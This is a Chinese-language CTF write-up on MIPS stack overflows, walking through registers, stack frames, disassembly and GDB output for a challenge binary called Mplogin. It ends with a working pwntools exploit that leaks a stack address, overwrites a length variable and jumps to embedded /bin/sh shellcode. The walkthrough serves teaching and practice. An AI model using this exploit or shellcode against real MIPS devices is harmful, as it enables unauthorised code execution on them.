mips架构下的栈溢出利用
作者:lxonz@白帽汇安全研究院
这里以一道CTF的题为例,希望可以帮到在学习mips栈溢出的师傅,同时感谢轩哥的文章,简直是从胎教讲起,好评,还有4哥的指点!
在开始做题之前,我们需要知道一些前置的知识,首先是mips的寄存器。
我们先关注寄存器的别名,其中$fp/$s8,$ra,$sp,是这道题中需要重点看的几个寄存器
寄存器编号 | 别名 | 用途 |
---|---|---|
$0 | $zero | 常量0(constant value 0) |
$1 | $at | 保留给汇编器(Reserved for assembler) |
$2-$3 | $v0-$v1 | 函数调用返回值(values for results and ex pression evaluation) |
$4-$7 | $a0-$a3 | 函数调用参数(arguments) |
$8-$15 | $t0-$t7 | 暂时的(或随便用的) |
$16-$23 | $s0-$s7 | 保存的(或如果用,需要SAVE/RESTORE的)(saved) |
$24-$25 | $t8-$t9 | 暂时的(或随便用的) |
$28 | $gp | 全局指针(Global Pointer) |
$29 | $sp | 堆栈指针(Stack Pointer) |
$30 | $fp/$s8 | 栈帧指针(fr ame Pointer) |
$31 | $ra | 返回地址(return address) |
在函数的开始和结束,mips也有类似于压栈和出栈的操作,分别用sw(压栈),lw(出栈)
sw(Store Word):用于将源寄存器中的值存入指定的地址
lw(Load Word):用于从一个指定的地址加载一个word类型的值到寄存器中
mips的参数存在$a0-$a3如果有更多的参数存在栈上
.text:00400AEC # =============== S U B R O U T I N E =======================================
.text:00400AEC
.text:00400AEC # Attributes: bp-ba sed fr ame fpd=0x20
.text:00400AEC
.text:00400AEC # int __cdecl main(int argc, const char **argv, const char **envp)
.text:00400AEC .globl main
.text:00400AEC main: # DATA XREF: LOAD:00400388↑o
.text:00400AEC # .text:00400658↑o ...
.text:00400AEC
.text:00400AEC var_10 = -0x10
.text:00400AEC var_8 = -8
.text:00400AEC var_s0 = 0
.text:00400AEC var_s4 = 4
.text:00400AEC
.text:00400AEC addiu $sp, -0x28
.text:00400AF0 sw $ra, 0x20+var_s4($sp)
.text:00400AF4 sw $fp, 0x20+var_s0($sp)
.text:00400AF8 move $fp, $sp
.text:00400AFC li $gp, 0x418E50
.text:00400B04 sw $gp, 0x20+var_10($sp)
.text:00400B08 la $v0, stdin
.text:00400B0C lw $v0, (stdin - 0x410F08)($v0)
.text:00400B10 move $a1, $zero
.text:00400B14 move $a0, $v0
.text:00400B18 la $v0, setbuf
.text:00400B1C move $t9, $v0
.text:00400B20 jalr $t9 ; setbuf
.text:00400B24 nop
.text:00400B28 lw $gp, 0x20+var_10($fp)
.text:00400B2C la $v0, stdout
.text:00400B30 lw $v0, (stdout - 0x410F18)($v0)
.text:00400B34 move $a1, $zero
.text:00400B38 move $a0, $v0
.text:00400B3C la $v0, setbuf
.text:00400B40 move $t9, $v0
.text:00400B44 jalr $t9 ; setbuf
.text:00400B48 nop
.text:00400B4C lw $gp, 0x20+var_10($fp)
.text:00400B50 lui $v0, 0x40 # '@'
.text:00400B54 addiu $a0, $v0, 0xDCC # "\x1B[33m"
.text:00400B58 la $v0, printf
.text:00400B5C move $t9, $v0
.text:00400B60 jalr $t9 ; printf
.text:00400B64 nop
.text:00400B68 lw $gp, 0x20+var_10($fp)
.text:00400B6C lui $v0, 0x40 # '@'
.text:00400B70 addiu $a0, $v0, 0xDD4 # "-----we1c0me t0 MP l0g1n s7stem-----"
.text:00400B74 la $v0, puts
.text:00400B78 move $t9, $v0
.text:00400B7C jalr $t9 ; puts
.text:00400B80 nop
.text:00400B84 lw $gp, 0x20+var_10($fp)
.text:00400B88 jal sub_400840
.text:00400B8C nop
.text:00400B90 lw $gp, 0x20+var_10($fp)
.text:00400B94 sw $v0, 0x20+var_8($fp)
.text:00400B98 lw $a0, 0x20+var_8($fp)
.text:00400B9C jal sub_400978
.text:00400BA0 nop
.text:00400BA4 lw $gp, 0x20+var_10($fp)
.text:00400BA8 lui $v0, 0x40 # '@'
.text:00400BAC addiu $a0, $v0, 0xDFC # "\x1B[32m"
.text:00400BB0 la $v0, printf
.text:00400BB4 move $t9, $v0
.text:00400BB8 jalr $t9 ; printf
.text:00400BBC nop
.text:00400BC0 lw $gp, 0x20+var_10($fp)
.text:00400BC4 lui $v0, 0x40 # '@'
.text:00400BC8 addiu $a0, $v0, 0xE04 # "Now you getshell~"
.text:00400BCC la $v0, puts
.text:00400BD0 move $t9, $v0
.text:00400BD4 jalr $t9 ; puts
.text:00400BD8 nop
.text:00400BDC lw $gp, 0x20+var_10($fp)
.text:00400BE0 nop
.text:00400BE4 addi $fp, 4
.text:00400BE8 lw $ra, 0x20+var_s4($sp)
.text:00400BEC lw $fp, 0x20+var_s0($sp)
.text:00400BF0 addiu $sp, 0x28
.text:00400BF4 jr $ra
.text:00400BF8 nop
对应的伪代码
int v3; // $a2
int v5; // [sp+18h] [+18h]
setbuf(stdin, 0, envp);
setbuf(stdout, 0, v3);
printf("\x1B[33m");
puts("-----we1c0me t0 MP l0g1n s7stem-----");
v5 = sub_400840();
sub_400978(v5);
printf("\x1B[32m");
return puts("Now you getshell~");
以这段汇编为案例:
函数开始阶段
addiu $sp, -0x28 开辟0x28的栈空间
sw $ra, 0x20+var_s4($sp) 将ra压入0x24位置的栈空间
sw $fp, 0x20+var_s0($sp) 将fp压入0x20位置的栈空间
move $fp, $sp 将sp的值存入fp
函数结束阶段
lw $ra, 0x20+var_s4($sp) 将栈空间0x24的内容存入ra
lw $fp, 0x20+var_s0($sp) 将栈空间0x20的内容还给fp
addiu $sp, 0x28 回收0x28的栈空间
jr $ra 跳转到ra
补充一个知识点:
进入一个函数时需要将当前栈指针向下移动 n 比特,这个大小为n比特的存储空间就是此函数的 stack frame 的存储区域。此后栈指针便不再移动,只能在函数返回时再将栈指针加上这个偏移量恢复栈现场。由于不能随便移动栈指针,所以寄存器压栈和出栈都必须指定偏移量。
stack frame就是一个函数所使用的stack的一部分,所有函数的stack frame串起来就组成了一个完整的栈。stack frame的两个边界分别由FP和SP来限定。
这段知识点就是在描述案例的内容。
所以根据这段我们可以看出$ra和$fp是连着的,同时也可以判断其实var_s4不仅是对于栈的偏移量同时也是$ra,同理var_s0是$fp。
此时栈空间是这样的:
上面是一个stack frame
再补充一个知识点:
通过SP和FP所限定的stack frame,就可以得到调用者的SP和FP,从而得到调用者的stack frame,通过这个方法追溯,可以得到完整的函数调用顺序。
以上呢,就是mips函数调用和栈恢复的过程,熟悉了这套机制,我们就可以想办法利用了。
题目 Mplogin
root@iZ2ze7lesc0k6jujoawx4uZ:~/pwn/mips pwn# checksec Mplogin
[!] Could not populate PLT: Invalid memory write (UC_ERR_WRITE_UNMAPPED)
[*] '/root/pwn/mips pwn/Mplogin'
Arch: mips-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
root@iZ2ze7lesc0k6jujoawx4uZ:~/pwn/mips pwn# file Mplogin
Mplogin: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
保护全无,mips32 小端序,启动的话直接qemu用户模式即可,具体的环境可以参考上一篇文章
https://nosec.org/home/detail/4634.html
主函数看不出什么,直接跟进给V5赋值的函数
read虽然无溢出,但是由于没有封口,二次printf打印的时候会打印出一些额外的内容
sub_400840的返回值,直接返回了v1的长度,如果我们把数据填满,返回的就是24
此时V5变成了24,然后将V5的值传入了函数sub_400978
第10行的read出现了明显的栈溢出,V3是传进来的a1+4变成了28,在通过V3的值来控制第12行的read的读入大小,程序的流程大概就是这样。
我们回到sub_400840,看看他到底给我们打印了什么,直接进入GDB调试,我们断点下在main函数在调用sub_400840的前一步,也就是这里0x400B88
gdb-peda$ set architecture mips //设置架构
The target architecture is assumed to be mips
gdb-peda$ set endian little //设置端序
The target is assumed to be little endian
gdb-peda$ b *0x400B88 //下断点
Breakpoint 1 at 0x400b88
Breakpoint 1, 0x00400b88 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────[ REGISTERS ]────────────────────────────────────
V0 0x25
V1 0x1
A0 0x767cd144 (_stdio_streams+92) ◂— 0x0
A1 0x76fff628 —▸ 0x767d530a (m_sbox+12718) ◂— 0x0
A2 0x1
A3 0x0
T0 0x767e61a0 —▸ 0x76731000 ◂— 0x464c457f
T1 0x77cb3
T2 0x0
T3 0x0
T4 0x767e6044 ◂— 0x0
T5 0x1
T6 0xfffffff
T7 0x40056e ◂— 'puts'
T8 0x1
T9 0x76743000 (__write_nocancel) ◂— lui $gp, 9 /* '\t' */
S0 0x76806010 ◂— 0x0
S1 0x4005d8 (_init) ◂— lui $gp, 2
S2 0x0
S3 0x0
S4 0x0
S5 0x0
S6 0x0
S7 0x0
S8 0x76fff670 —▸ 0x76806010 ◂— 0x0
FP 0x76fff698 ◂— 0x0
SP 0x76fff670 —▸ 0x76806010 ◂— 0x0
PC 0x400b88 (main+156) ◂— jal 0x400840
─────────────────────────────────────[ DISASM ]─────────────────────────────────────
► 0x400b88 <main+156> jal _ftext+512 <0x400840>
↓
0x400b90 <main+164> lw $gp, 0x10($fp)
0x400b94 <main+168> sw $v0, 0x18($fp)
0x400b98 <main+172> lw $a0, 0x18($fp)
0x400b9c <main+176> jal _ftext+824 <0x400978>
0x400ba0 <main+180> nop
0x400ba4 <main+184> lw $gp, 0x10($fp)
0x400ba8 <main+188> lui $v0, 0x40
0x400bac <main+192> addiu $a0, $v0, 0xdfc
0x400bb0 <main+196> lw $v0, -0x7f98($gp)
0x400bb4 <main+200> move $t9, $v0
─────────────────────────────────────[ STACK ]──────────────────────────────────────
00:0000│ s8 sp 0x76fff670 —▸ 0x76806010 ◂— 0x0
01:0004│ 0x76fff674 ◂— 0x0
02:0008│ 0x76fff678 ◂— 0x2
03:000c│ 0x76fff67c ◂— 0x1000
04:0010│ 0x76fff680 ◂— 0x418e50
05:0014│ 0x76fff684 —▸ 0x767aacc8 (__h_errno_location+40) ◂— lw $ra, 0xc($sp) /* '\x0c' */
06:0018│ 0x76fff688 —▸ 0x767d53c0 (m_sbox+12900) ◂— 0x0
07:001c│ 0x76fff68c —▸ 0x4005d8 (_init) ◂— lui $gp, 2
可以看到s8和sp都指向了0x76fff670,而s8是栈帧指针,sp是堆栈指针,在跳转函数之前,都指向了栈顶的地址。
同时我们在这里也可以看到泄露的地址即是栈顶的地址。
分析到这里思路基本上是有了,第一次输入泄露栈顶地址,第二次输入覆盖变量V3,第三次输入将shellcode写在栈上跳转执行。
第一次payload:"admin" + ‘a'*19 填满第一次read
第二次payload: "access" + "a"*14 + p32(0xabc) 填满第二次read并覆盖变量v3
第三次payload:”0123456789“ + "a"*30 + 栈顶地址 + shellcode 填满第三次read,将ra覆盖为栈顶地址并写入shellcode执行
shellcode我是从这里面找的,轩哥博客中给的方法也可以。
https://www.exploit-db.com/shellcodes/35868
最后补充一点
在sp将值存入fp之前,sp是0x76fff670,在执行完这条语句之后的效果如下
执行完之后可以看到s8的值跟sp相同,说明实际上是move $s8, $sp,可能是pwndbg的问题,希望有明白的师傅可以后续指点我一下。
exp:
from pwn import *
context.log_level = "debug"
context.arch = "mips"
context.endian = "little"
shellcode = "\xff\xff\x06\x28\xff\xff\xd0\x04\xff\xff\x05\x28\x01\x10\xe4\x27\x0f\xf0\x84\x24\xab\x0f\x02\x24\x0c\x01\x01\x01/bin/sh"
#p = remote("127.0.0.1", 1234)
p = process(["qemu-mipsel","-L","./","./Mplogin"])
p.recvuntil("Username : ")
payload = "admin" + "a"*19
p.send(payload)
p.recvuntil("a"*19)
stack_addr = u32(p.recv(4))
log.info("stack_addr--------->"+ hex(stack_addr))
p.recvuntil("Pre_Password : ")
payload = "access" + "a"*14 + p32(0xabc)
p.send(payload)
p.recvuntil("Password : ")
payload = "0123456789" + "a"*30 + p32(stack_addr) + shellcode
p.send(payload)
p.interactive()
#0x76fff2e0
最后的最后写的不对的地方希望看到文章的师傅们能指正,感激不尽
参考链接:
[1] https://xuanxuanblingbling.github.io/ctf/pwn/2020/09/24/mips/#
[2] https://b0ldfrev.gitbook.io/note/iot/mipsarm-hui-bian-xue-xi#1-ji-cun-qi
白帽汇从事信息安全,专注于安全大数据、企业威胁情报。
公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。
为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。
最新评论